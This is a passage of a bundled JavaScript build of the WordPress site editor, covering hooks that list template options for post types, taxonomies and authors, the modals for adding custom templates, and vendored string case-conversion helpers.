42900 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
42901 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
42902 return accumulator;
42903 }, {}),
42904 [publicPostTypes]
42905 );
42906 const needsUniqueIdentifier = (0, import_element144.useCallback)(
42907 ({ labels, slug }) => {
42908 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
42909 return templateLabels[templateName] > 1 && templateName !== slug;
42910 },
42911 [templateLabels]
42912 );
42913 const templatePrefixes = (0, import_element144.useMemo)(
42914 () => publicPostTypes?.reduce((accumulator, { slug }) => {
42915 let suffix = slug;
42916 if (slug !== "page") {
42917 suffix = `single-${suffix}`;
42918 }
42919 accumulator[slug] = suffix;
42920 return accumulator;
42921 }, {}),
42922 [publicPostTypes]
42923 );
42924 const postTypesInfo = useEntitiesInfo("postType", templatePrefixes);
42925 const menuItems = (publicPostTypes || []).reduce(
42926 (accumulator, postType2) => {
42927 const { slug, labels, icon } = postType2;
42928 const generalTemplateSlug = templatePrefixes[slug];
42929 const defaultTemplateType = defaultTemplateTypes?.find(
42930 ({ slug: _slug }) => _slug === generalTemplateSlug
42931 );
42932 const _needsUniqueIdentifier = needsUniqueIdentifier(postType2);
42933 let menuItemTitle = labels.template_name || (0, import_i18n143.sprintf)(
42934 // translators: %s: Name of the post type e.g: "Post".
42935 (0, import_i18n143.__)("Single item: %s"),
42936 labels.singular_name
42937 );
42938 if (_needsUniqueIdentifier) {
42939 menuItemTitle = labels.template_name ? (0, import_i18n143.sprintf)(
42940 // translators: 1: Name of the template e.g: "Single Item: Post". 2: Slug of the post type e.g: "book".
42941 (0, import_i18n143._x)("%1$s (%2$s)", "post type menu label"),
42942 labels.template_name,
42943 slug
42944 ) : (0, import_i18n143.sprintf)(
42945 // translators: 1: Name of the post type e.g: "Post". 2: Slug of the post type e.g: "book".
42946 (0, import_i18n143._x)(
42947 "Single item: %1$s (%2$s)",
42948 "post type menu label"
42949 ),
42950 labels.singular_name,
42951 slug
42952 );
42953 }
42954 const menuItem = defaultTemplateType ? {
42955 ...defaultTemplateType,
42956 templatePrefix: templatePrefixes[slug]
42957 } : {
42958 slug: generalTemplateSlug,
42959 title: menuItemTitle,
42960 description: (0, import_i18n143.sprintf)(
42961 // translators: %s: Name of the post type e.g: "Post".
42962 (0, import_i18n143.__)("Displays a single item: %s."),
42963 labels.singular_name
42964 ),
42965 // `icon` is the `menu_icon` property of a post type. We
42966 // only handle `dashicons` for now, even if the `menu_icon`
42967 // also supports urls and svg as values.
42968 icon: typeof icon === "string" && icon.startsWith("dashicons-") ? icon.slice(10) : post_default,
42969 templatePrefix: templatePrefixes[slug]
42970 };
42971 const hasEntities = postTypesInfo?.[slug]?.hasEntities;
42972 if (hasEntities) {
42973 menuItem.onClick = (template) => {
42974 onClickMenuItem({
42975 type: "postType",
42976 slug,
42977 config: {
42978 recordNamePath: "title.rendered",
42979 queryArgs: ({ search }) => {
42980 return {
42981 _fields: "id,title,slug,link",
42982 orderBy: search ? "relevance" : "modified",
42983 exclude: postTypesInfo[slug].existingEntitiesIds
42984 };
42985 },
42986 getSpecificTemplate: (suggestion) => {
42987 const templateSlug = prefixSlug(
42988 templatePrefixes[slug],
42989 suggestion.slug
42990 );
42991 return {
42992 title: templateSlug,
42993 slug: templateSlug,
42994 templatePrefix: templatePrefixes[slug]
42995 };
42996 }
42997 },
42998 labels,
42999 template
43000 });
43001 };
43002 }
43003 if (hasEntities) {
43004 accumulator.push(menuItem);
43005 }
43006 return accumulator;
43007 },
43008 []
43009 );
43010 const postTypesMenuItems = (0, import_element144.useMemo)(
43011 () => menuItems.reduce(
43012 (accumulator, postType2) => {
43013 const { slug } = postType2;
43014 let key = "postTypesMenuItems";
43015 if (slug === "page") {
43016 key = "defaultPostTypesMenuItems";
43017 }
43018 accumulator[key].push(postType2);
43019 return accumulator;
43020 },
43021 { defaultPostTypesMenuItems: [], postTypesMenuItems: [] }
43022 ),
43023 [menuItems]
43024 );
43025 return postTypesMenuItems;
43026 };
43027 var useTaxonomiesMenuItems = (onClickMenuItem) => {
43028 const publicTaxonomies = usePublicTaxonomies();
43029 const existingTemplates = useExistingTemplates();
43030 const defaultTemplateTypes = useDefaultTemplateTypes();
43031 const templatePrefixes = (0, import_element144.useMemo)(
43032 () => publicTaxonomies?.reduce((accumulator, { slug }) => {
43033 let suffix = slug;
43034 if (!["category", "post_tag"].includes(slug)) {
43035 suffix = `taxonomy-${suffix}`;
43036 }
43037 if (slug === "post_tag") {
43038 suffix = `tag`;
43039 }
43040 accumulator[slug] = suffix;
43041 return accumulator;
43042 }, {}),
43043 [publicTaxonomies]
43044 );
43045 const taxonomyLabels = publicTaxonomies?.reduce(
43046 (accumulator, { labels }) => {
43047 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
43048 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
43049 return accumulator;
43050 },
43051 {}
43052 );
43053 const needsUniqueIdentifier = (labels, slug) => {
43054 if (["category", "post_tag"].includes(slug)) {
43055 return false;
43056 }
43057 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
43058 return taxonomyLabels[templateName] > 1 && templateName !== slug;
43059 };
43060 const taxonomiesInfo = useEntitiesInfo("taxonomy", templatePrefixes);
43061 const existingTemplateSlugs = (existingTemplates || []).map(
43062 ({ slug }) => slug
43063 );
43064 const menuItems = (publicTaxonomies || []).reduce(
43065 (accumulator, taxonomy) => {
43066 const { slug, labels } = taxonomy;
43067 const generalTemplateSlug = templatePrefixes[slug];
43068 const defaultTemplateType = defaultTemplateTypes?.find(
43069 ({ slug: _slug }) => _slug === generalTemplateSlug
43070 );
43071 const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
43072 const _needsUniqueIdentifier = needsUniqueIdentifier(
43073 labels,
43074 slug
43075 );
43076 let menuItemTitle = labels.template_name || labels.singular_name;
43077 if (_needsUniqueIdentifier) {
43078 menuItemTitle = labels.template_name ? (0, import_i18n143.sprintf)(
43079 // translators: 1: Name of the template e.g: "Products by Category". 2: Slug of the taxonomy e.g: "product_cat".
43080 (0, import_i18n143._x)("%1$s (%2$s)", "taxonomy template menu label"),
43081 labels.template_name,
43082 slug
43083 ) : (0, import_i18n143.sprintf)(
43084 // translators: 1: Name of the taxonomy e.g: "Category". 2: Slug of the taxonomy e.g: "product_cat".
43085 (0, import_i18n143._x)("%1$s (%2$s)", "taxonomy menu label"),
43086 labels.singular_name,
43087 slug
43088 );
43089 }
43090 const menuItem = defaultTemplateType ? {
43091 ...defaultTemplateType,
43092 templatePrefix: templatePrefixes[slug]
43093 } : {
43094 slug: generalTemplateSlug,
43095 title: menuItemTitle,
43096 description: (0, import_i18n143.sprintf)(
43097 // translators: %s: Name of the taxonomy e.g: "Product Categories".
43098 (0, import_i18n143.__)("Displays taxonomy: %s."),
43099 labels.singular_name
43100 ),
43101 icon: block_meta_default,
43102 templatePrefix: templatePrefixes[slug]
43103 };
43104 const hasEntities = taxonomiesInfo?.[slug]?.hasEntities;
43105 if (hasEntities) {
43106 menuItem.onClick = (template) => {
43107 onClickMenuItem({
43108 type: "taxonomy",
43109 slug,
43110 config: {
43111 queryArgs: ({ search }) => {
43112 return {
43113 _fields: "id,name,slug,link",
43114 orderBy: search ? "name" : "count",
43115 exclude: taxonomiesInfo[slug].existingEntitiesIds
43116 };
43117 },
43118 getSpecificTemplate: (suggestion) => {
43119 const templateSlug = prefixSlug(
43120 templatePrefixes[slug],
43121 suggestion.slug
43122 );
43123 return {
43124 title: templateSlug,
43125 slug: templateSlug,
43126 templatePrefix: templatePrefixes[slug]
43127 };
43128 }
43129 },
43130 labels,
43131 hasGeneralTemplate,
43132 template
43133 });
43134 };
43135 }
43136 if (!hasGeneralTemplate || hasEntities) {
43137 accumulator.push(menuItem);
43138 }
43139 return accumulator;
43140 },
43141 []
43142 );
43143 const taxonomiesMenuItems = (0, import_element144.useMemo)(
43144 () => menuItems.reduce(
43145 (accumulator, taxonomy) => {
43146 const { slug } = taxonomy;
43147 let key = "taxonomiesMenuItems";
43148 if (["category", "tag"].includes(slug)) {
43149 key = "defaultTaxonomiesMenuItems";
43150 }
43151 accumulator[key].push(taxonomy);
43152 return accumulator;
43153 },
43154 { defaultTaxonomiesMenuItems: [], taxonomiesMenuItems: [] }
43155 ),
43156 [menuItems]
43157 );
43158 return taxonomiesMenuItems;
43159 };
43160 var USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX = { user: "author" };
43161 var USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS = { user: { who: "authors" } };
43162 function useAuthorMenuItem(onClickMenuItem) {
43163 const existingTemplates = useExistingTemplates();
43164 const defaultTemplateTypes = useDefaultTemplateTypes();
43165 const authorInfo = useEntitiesInfo(
43166 "root",
43167 USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX,
43168 USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS
43169 );
43170 let authorMenuItem = defaultTemplateTypes?.find(
43171 ({ slug }) => slug === "author"
43172 );
43173 if (!authorMenuItem) {
43174 authorMenuItem = {
43175 description: (0, import_i18n143.__)(
43176 "Displays latest posts written by a single author."
43177 ),
43178 slug: "author",
43179 title: "Author"
43180 };
43181 }
43182 const hasGeneralTemplate = !!existingTemplates?.find(
43183 ({ slug }) => slug === "author"
43184 );
43185 if (authorInfo.user?.hasEntities) {
43186 authorMenuItem = { ...authorMenuItem, templatePrefix: "author" };
43187 authorMenuItem.onClick = (template) => {
43188 onClickMenuItem({
43189 type: "root",
43190 slug: "user",
43191 config: {
43192 queryArgs: ({ search }) => {
43193 return {
43194 _fields: "id,name,slug,link",
43195 orderBy: search ? "name" : "registered_date",
43196 exclude: authorInfo.user.existingEntitiesIds,
43197 who: "authors"
43198 };
43199 },
43200 getSpecificTemplate: (suggestion) => {
43201 const templateSlug = prefixSlug(
43202 "author",
43203 suggestion.slug
43204 );
43205 return {
43206 title: (0, import_i18n143.sprintf)(
43207 // translators: %s: Name of the author e.g: "Admin".
43208 (0, import_i18n143.__)("Author: %s"),
43209 suggestion.name
43210 ),
43211 slug: templateSlug,
43212 templatePrefix: "author"
43213 };
43214 }
43215 },
43216 labels: {
43217 singular_name: (0, import_i18n143.__)("Author"),
43218 search_items: (0, import_i18n143.__)("Search Authors"),
43219 not_found: (0, import_i18n143.__)("No authors found."),
43220 all_items: (0, import_i18n143.__)("All Authors")
43221 },
43222 hasGeneralTemplate,
43223 template
43224 });
43225 };
43226 }
43227 if (!hasGeneralTemplate || authorInfo.user?.hasEntities) {
43228 return authorMenuItem;
43229 }
43230 }
43231 var useEntitiesInfo = (entityName, templatePrefixes, additionalQueryParameters = EMPTY_OBJECT2) => {
43232 const entitiesHasRecords = (0, import_data72.useSelect)(
43233 (select3) => {
43234 return Object.keys(templatePrefixes || {}).reduce(
43235 (accumulator, slug) => {
43236 accumulator[slug] = !!select3(
43237 import_core_data51.store
43238 ).getEntityRecords(entityName, slug, {
43239 per_page: 1,
43240 _fields: "id",
43241 context: "view",
43242 ...additionalQueryParameters[slug]
43243 })?.length;
43244 return accumulator;
43245 },
43246 {}
43247 );
43248 },
43249 [templatePrefixes, entityName, additionalQueryParameters]
43250 );
43251 const entitiesInfo = (0, import_element144.useMemo)(() => {
43252 return Object.keys(templatePrefixes || {}).reduce(
43253 (accumulator, slug) => {
43254 accumulator[slug] = {
43255 hasEntities: entitiesHasRecords[slug]
43256 };
43257 return accumulator;
43258 },
43259 {}
43260 );
43261 }, [templatePrefixes, entitiesHasRecords]);
43262 return entitiesInfo;
43263 };
43264
43265 // packages/edit-site/build-module/components/add-new-template/add-custom-template-modal-content.mjs
43266 var import_jsx_runtime280 = __toESM(require_jsx_runtime(), 1);
43267 var EMPTY_ARRAY14 = [];
43268 function SuggestionListItem({
43269 suggestion,
43270 search,
43271 onSelect,
43272 entityForSuggestions
43273 }) {
43274 const baseCssClass = "edit-site-custom-template-modal__suggestions_list__list-item";
43275 return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
43276 import_components151.Composite.Item,
43277 {
43278 render: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43279 import_components151.Button,
43280 {
43281 __next40pxDefaultSize: true,
43282 role: "option",
43283 className: baseCssClass,
43284 onClick: () => onSelect(
43285 entityForSuggestions.config.getSpecificTemplate(
43286 suggestion
43287 )
43288 )
43289 }
43290 ),
43291 children: [
43292 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43293 import_components151.__experimentalText,
43294 {
43295 size: "body",
43296 lineHeight: 1.53846153846,
43297 weight: 500,
43298 className: `${baseCssClass}__title`,
43299 children: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43300 import_components151.TextHighlight,
43301 {
43302 text: (0, import_html_entities11.decodeEntities)(suggestion.name),
43303 highlight: search
43304 }
43305 )
43306 }
43307 ),
43308 suggestion.link && /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43309 import_components151.__experimentalText,
43310 {
43311 size: "body",
43312 lineHeight: 1.53846153846,
43313 className: `${baseCssClass}__info`,
43314 children: (0, import_url21.safeDecodeURI)(suggestion.link)
43315 }
43316 )
43317 ]
43318 }
43319 );
43320 }
43321 function useSearchSuggestions(entityForSuggestions, search) {
43322 const { config: config2 } = entityForSuggestions;
43323 const query = (0, import_element145.useMemo)(
43324 () => ({
43325 order: "asc",
43326 context: "view",
43327 search,
43328 per_page: search ? 20 : 10,
43329 ...config2.queryArgs(search)
43330 }),
43331 [search, config2]
43332 );
43333 const { records: searchResults, hasResolved: searchHasResolved } = (0, import_core_data52.useEntityRecords)(
43334 entityForSuggestions.type,
43335 entityForSuggestions.slug,
43336 query
43337 );
43338 const [suggestions, setSuggestions] = (0, import_element145.useState)(EMPTY_ARRAY14);
43339 (0, import_element145.useEffect)(() => {
43340 if (!searchHasResolved) {
43341 return;
43342 }
43343 let newSuggestions = EMPTY_ARRAY14;
43344 if (searchResults?.length) {
43345 newSuggestions = searchResults;
43346 if (config2.recordNamePath) {
43347 newSuggestions = mapToIHasNameAndId(
43348 newSuggestions,
43349 config2.recordNamePath
43350 );
43351 }
43352 }
43353 setSuggestions(newSuggestions);
43354 }, [searchResults, searchHasResolved]);
43355 return suggestions;
43356 }
43357 function SuggestionList({ entityForSuggestions, onSelect }) {
43358 const [search, setSearch, debouncedSearch] = (0, import_compose28.useDebouncedInput)();
43359 const suggestions = useSearchSuggestions(
43360 entityForSuggestions,
43361 debouncedSearch
43362 );
43363 const { labels } = entityForSuggestions;
43364 const [showSearchControl, setShowSearchControl] = (0, import_element145.useState)(false);
43365 if (!showSearchControl && suggestions?.length > 9) {
43366 setShowSearchControl(true);
43367 }
43368 return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(import_jsx_runtime280.Fragment, { children: [
43369 showSearchControl && /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43370 import_components151.SearchControl,
43371 {
43372 onChange: setSearch,
43373 value: search,
43374 label: labels.search_items,
43375 placeholder: labels.search_items
43376 }
43377 ),
43378 !!suggestions?.length && /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43379 import_components151.Composite,
43380 {
43381 orientation: "vertical",
43382 role: "listbox",
43383 className: "edit-site-custom-template-modal__suggestions_list",
43384 "aria-label": (0, import_i18n144.__)("Suggestions list"),
43385 children: suggestions.map((suggestion) => /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43386 SuggestionListItem,
43387 {
43388 suggestion,
43389 search: debouncedSearch,
43390 onSelect,
43391 entityForSuggestions
43392 },
43393 suggestion.slug
43394 ))
43395 }
43396 ),
43397 debouncedSearch && !suggestions?.length && /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43398 import_components151.__experimentalText,
43399 {
43400 as: "p",
43401 className: "edit-site-custom-template-modal__no-results",
43402 children: labels.not_found
43403 }
43404 )
43405 ] });
43406 }
43407 function AddCustomTemplateModalContent({
43408 onSelect,
43409 entityForSuggestions,
43410 onBack,
43411 containerRef
43412 }) {
43413 const [showSearchEntities, setShowSearchEntities] = (0, import_element145.useState)();
43414 (0, import_element145.useEffect)(() => {
43415 if (containerRef.current) {
43416 const [firstFocusable] = import_dom12.focus.focusable.find(
43417 containerRef.current
43418 );
43419 firstFocusable?.focus();
43420 }
43421 }, [showSearchEntities]);
43422 return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
43423 import_components151.__experimentalVStack,
43424 {
43425 spacing: 4,
43426 className: "edit-site-custom-template-modal__contents-wrapper",
43427 alignment: "left",
43428 children: [
43429 !showSearchEntities && /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(import_jsx_runtime280.Fragment, { children: [
43430 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_components151.__experimentalText, { as: "p", children: (0, import_i18n144.__)(
43431 "Select whether to create a single template for all items or a specific one."
43432 ) }),
43433 /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
43434 import_components151.Flex,
43435 {
43436 className: "edit-site-custom-template-modal__contents",
43437 gap: "4",
43438 align: "initial",
43439 children: [
43440 /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
43441 import_components151.FlexItem,
43442 {
43443 isBlock: true,
43444 as: import_components151.Button,
43445 onClick: () => {
43446 const {
43447 slug,
43448 title,
43449 description,
43450 templatePrefix
43451 } = entityForSuggestions.template;
43452 onSelect({
43453 slug,
43454 title,
43455 description,
43456 templatePrefix
43457 });
43458 },
43459 children: [
43460 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43461 import_components151.__experimentalText,
43462 {
43463 as: "span",
43464 weight: 500,
43465 lineHeight: 1.53846153846,
43466 children: entityForSuggestions.labels.all_items
43467 }
43468 ),
43469 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43470 import_components151.__experimentalText,
43471 {
43472 as: "span",
43473 lineHeight: 1.53846153846,
43474 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
43475 children: (0, import_i18n144.__)("For all items")
43476 }
43477 )
43478 ]
43479 }
43480 ),
43481 /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
43482 import_components151.FlexItem,
43483 {
43484 isBlock: true,
43485 as: import_components151.Button,
43486 onClick: () => {
43487 setShowSearchEntities(true);
43488 },
43489 children: [
43490 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43491 import_components151.__experimentalText,
43492 {
43493 as: "span",
43494 weight: 500,
43495 lineHeight: 1.53846153846,
43496 children: entityForSuggestions.labels.singular_name
43497 }
43498 ),
43499 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43500 import_components151.__experimentalText,
43501 {
43502 as: "span",
43503 lineHeight: 1.53846153846,
43504 // translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
43505 children: (0, import_i18n144.__)("For a specific item")
43506 }
43507 )
43508 ]
43509 }
43510 )
43511 ]
43512 }
43513 ),
43514 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_components151.Flex, { justify: "right", children: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43515 import_components151.Button,
43516 {
43517 __next40pxDefaultSize: true,
43518 variant: "tertiary",
43519 onClick: onBack,
43520 children: (0, import_i18n144.__)("Back")
43521 }
43522 ) })
43523 ] }),
43524 showSearchEntities && /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(import_jsx_runtime280.Fragment, { children: [
43525 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_components151.__experimentalText, { as: "p", children: (0, import_i18n144.__)(
43526 "This template will be used only for the specific item chosen."
43527 ) }),
43528 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43529 SuggestionList,
43530 {
43531 entityForSuggestions,
43532 onSelect
43533 }
43534 ),
43535 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_components151.Flex, { justify: "right", children: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
43536 import_components151.Button,
43537 {
43538 __next40pxDefaultSize: true,
43539 variant: "tertiary",
43540 onClick: () => {
43541 if (entityForSuggestions.hasGeneralTemplate) {
43542 onBack();
43543 } else {
43544 setShowSearchEntities(false);
43545 }
43546 },
43547 children: (0, import_i18n144.__)("Back")
43548 }
43549 ) })
43550 ] })
43551 ]
43552 }
43553 );
43554 }
43555 var add_custom_template_modal_content_default = AddCustomTemplateModalContent;
43556
43557 // node_modules/tslib/tslib.es6.mjs
43558 var __assign = function() {
43559 __assign = Object.assign || function __assign2(t3) {
43560 for (var s2, i2 = 1, n2 = arguments.length; i2 < n2; i2++) {
43561 s2 = arguments[i2];
43562 for (var p3 in s2) if (Object.prototype.hasOwnProperty.call(s2, p3)) t3[p3] = s2[p3];
43563 }
43564 return t3;
43565 };
43566 return __assign.apply(this, arguments);
43567 };
43568
43569 // node_modules/lower-case/dist.es2015/index.js
43570 function lowerCase(str) {
43571 return str.toLowerCase();
43572 }
43573
43574 // node_modules/no-case/dist.es2015/index.js
43575 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
43576 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
43577 function noCase(input, options) {
43578 if (options === void 0) {
43579 options = {};
43580 }
43581 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
43582 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
43583 var start2 = 0;
43584 var end = result.length;
43585 while (result.charAt(start2) === "\0")
43586 start2++;
43587 while (result.charAt(end - 1) === "\0")
43588 end--;
43589 return result.slice(start2, end).split("\0").map(transform).join(delimiter);
43590 }
43591 function replace(input, re, value) {
43592 if (re instanceof RegExp)
43593 return input.replace(re, value);
43594 return re.reduce(function(input2, re2) {
43595 return input2.replace(re2, value);
43596 }, input);
43597 }
43598
43599 // node_modules/dot-case/dist.es2015/index.js
43600 function dotCase(input, options) {
43601 if (options === void 0) {
43602 options = {};
43603 }
43604 return noCase(input, __assign({ delimiter: "." }, options));
43605 }
43606
43607 // node_modules/param-case/dist.es2015/index.js
43608 function paramCase(input, options) {
43609 if (options === void 0) {
43610 options = {};
43611 }
43612 return dotCase(input, __assign({ delimiter: "-" }, options));
43613 }
43614
43615 // packages/edit-site/build-module/components/add-new-template/add-custom-generic-template-modal-content.mjs
43616 var import_element146 = __toESM(require_element(), 1);
43617 var import_i18n145 = __toESM(require_i18n(), 1);
43618 var import_components152 = __toESM(require_components(), 1);
43619 var import_jsx_runtime281 = __toESM(require_jsx_runtime(), 1);
43620 function AddCustomGenericTemplateModalContent({ createTemplate, onBack }) {
43621 const [title, setTitle] = (0, import_element146.useState)("");
43622 const defaultTitle = (0, import_i18n145.__)("Custom Template");
43623 const [isBusy, setIsBusy] = (0, import_element146.useState)(false);
43624 const inputRef = (0, import_element146.useRef)();
43625 (0, import_element146.useEffect)(() => {
43626 if (inputRef.current) {
43627 inputRef.current.focus();
43628 }
43629 }, []);
43630 async function onCreateTemplate(event) {
43631 event.preventDefault();
43632 if (isBusy) {
43633 return;
43634 }
43635 setIsBusy(true);
43636 try {
43637 await createTemplate(
43638 {
43639 slug: paramCase(title || defaultTitle) || "wp-custom-template",
43640 title: title || defaultTitle
43641 },
43642 false
43643 );
43644 } finally {
43645 setIsBusy(false);
43646 }
43647 }
43648 return /* @__PURE__ */ (0, import_jsx_runtime281.jsx)("form", { onSubmit: onCreateTemplate, children: /* @__PURE__ */ (0, import_jsx_runtime281.jsxs)(import_components152.__experimentalVStack, { spacing: 6, children: [
43649 /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
43650 import_components152.TextControl,
43651 {
43652 __next40pxDefaultSize: true,
43653 label: (0, import_i18n145.__)("Name"),
43654 value: title,
43655 onChange: setTitle,
43656 placeholder: defaultTitle,
43657 disabled: isBusy,
43658 ref: inputRef,
43659 help: (0, import_i18n145.__)(
43660 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
43661 'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.'
43662 )
43663 }
43664 ),
43665 /* @__PURE__ */ (0, import_jsx_runtime281.jsxs)(
43666 import_components152.__experimentalHStack,
43667 {
43668 className: "edit-site-custom-generic-template__modal-actions",
43669 justify: "right",
43670 children: [
43671 /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
43672 import_components152.Button,
43673 {
43674 __next40pxDefaultSize: true,
43675 variant: "tertiary",
43676 onClick: onBack,
43677 children: (0, import_i18n145.__)("Back")
43678 }
43679 ),
43680 /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
43681 import_components152.Button,
43682 {
43683 __next40pxDefaultSize: true,
43684 variant: "primary",
43685 type: "submit",
43686 isBusy,
43687 "aria-disabled": isBusy,
43688 children: (0, import_i18n145.__)("Create")
43689 }
43690 )
43691 ]
43692 }
43693 )
43694 ] }) });
43695 }
43696 var add_custom_generic_template_modal_content_default = AddCustomGenericTemplateModalContent;
43697
43698 // packages/edit-site/build-module/components/add-new-template/index.mjs
43699 var import_jsx_runtime282 = __toESM(require_jsx_runtime(), 1);
43700 var { useHistory: useHistory21 } = unlock(import_router34.privateApis);
43701 var DEFAULT_TEMPLATE_SLUGS = [
43702 "front-page",
43703 "home",
43704 "single",
43705 "page",
43706 "index",
43707 "archive",
43708 "author",
43709 "category",
43710 "date",
43711 "tag",
43712 "search",
43713 "404"
43714 ];
43715 var TEMPLATE_ICONS = {
43716 "front-page": home_default,
43717 home: verse_default,
43718 single: pin_default,
43719 page: page_default,
43720 archive: archive_default,
43721 search: search_default,
43722 404: not_found_default,
43723 index: list_default,
43724 category: category_default,
43725 author: comment_author_avatar_default,
43726 taxonomy: block_meta_default,
43727 date: calendar_default,
43728 tag: tag_default,
43729 attachment: media_default
43730 };
43731 function TemplateListItem({
43732 title,
43733 direction,
43734 className,
43735 description,
43736 icon,
43737 onClick,
43738 children
43739 }) {
43740 return /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43741 import_components153.Button,
43742 {
43743 __next40pxDefaultSize: true,
43744 className,
43745 onClick,
43746 label: description,
43747 showTooltip: !!description,
43748 children: /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
43749 import_components153.Flex,
43750 {
43751 as: "span",
43752 spacing: 2,
43753 align: "center",
43754 justify: "center",
43755 style: { width: "100%" },
43756 direction,
43757 children: [
43758 /* @__PURE__ */ (0, import_jsx_runtime282.jsx)("div", { className: "edit-site-add-new-template__template-icon", children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_components153.Icon, { icon }) }),
43759 /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
43760 import_components153.__experimentalVStack,
43761 {
43762 className: "edit-site-add-new-template__template-name",
43763 alignment: "center",
43764 spacing: 0,
43765 children: [
43766 /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
43767 import_components153.__experimentalText,
43768 {
43769 align: "center",
43770 weight: 500,
43771 lineHeight: 1.53846153846,
43772 children: title
43773 }
43774 ),
43775 children
43776 ]
43777 }
43778 )
43779 ]
43780 }
43781 )
43782 }
43783 );
43784 }
43785 var modalContentMap = {
43786 templatesList: 1,
43787 customTemplate: 2,
43788 customGenericTemplate: 3
43789 };
43790 function NewTemplateModal({ onClose }) {
43791 const [modalContent, setModalContent] = (0, import_element147.useState)(
43792 modalContentMap.templatesList
43793 );
43794 const [entityForSuggestions, setEntityForSuggestions] = (0, import_element147.useState)({});
43795 const [isSubmitting, setIsSubmitting] = (0, import_element147.useState)(false);
43796 const missingTemplates = useMissingTemplates(
43797 setEntityForSuggestions,
43798 () => setModalContent(modalContentMap.customTemplate)
43799 );
43800 const history = useHistory21();
43801 const { saveEntityRecord } = (0, import_data73.useDispatch)(import_core_data53.store);
43802 const { createErrorNotice, createSuccessNotice } = (0, import_data73.useDispatch)(import_notices7.store);
43803 const containerRef = (0, import_element147.useRef)(null);
43804 const isMobile = (0, import_compose29.useViewportMatch)("medium", "<");
43805 const homeUrl = (0, import_data73.useSelect)((select3) => {
43806 return select3(import_core_data53.store).getEntityRecord("root", "__unstableBase")?.home;
43807 }, []);
43808 const TEMPLATE_SHORT_DESCRIPTIONS = {
43809 "front-page": homeUrl,
43810 date: (0, import_i18n146.sprintf)(
43811 // translators: %s: The homepage url.
43812 (0, import_i18n146.__)("E.g. %s"),
43813 homeUrl + "/" + (/* @__PURE__ */ new Date()).getFullYear()
43814 )
43815 };
43816 (0, import_element147.useEffect)(() => {
43817 if (containerRef.current && modalContent === modalContentMap.templatesList) {
43818 const [firstFocusable] = import_dom13.focus.focusable.find(
43819 containerRef.current
43820 );
43821 firstFocusable?.focus();
43822 }
43823 }, [modalContent]);
43824 async function createTemplate(template, isWPSuggestion = true) {
43825 if (isSubmitting) {
43826 return;
43827 }
43828 setIsSubmitting(true);
43829 try {
43830 const { title, description, slug } = template;
43831 const newTemplate = await saveEntityRecord(
43832 "postType",
43833 TEMPLATE_POST_TYPE,
43834 {
43835 description,
43836 // Slugs need to be strings, so this is for template `404`
43837 slug: slug.toString(),
43838 status: "publish",
43839 title,
43840 // This adds a post meta field in template that is part of `is_custom` value calculation.
43841 meta: {
43842 is_wp_suggestion: isWPSuggestion
43843 }
43844 },
43845 { throwOnError: true }
43846 );
43847 history.navigate(
43848 `/${TEMPLATE_POST_TYPE}/${newTemplate.id}?canvas=edit`
43849 );
43850 createSuccessNotice(
43851 (0, import_i18n146.sprintf)(
43852 // translators: %s: Title of the created post or template, e.g: "Hello world".
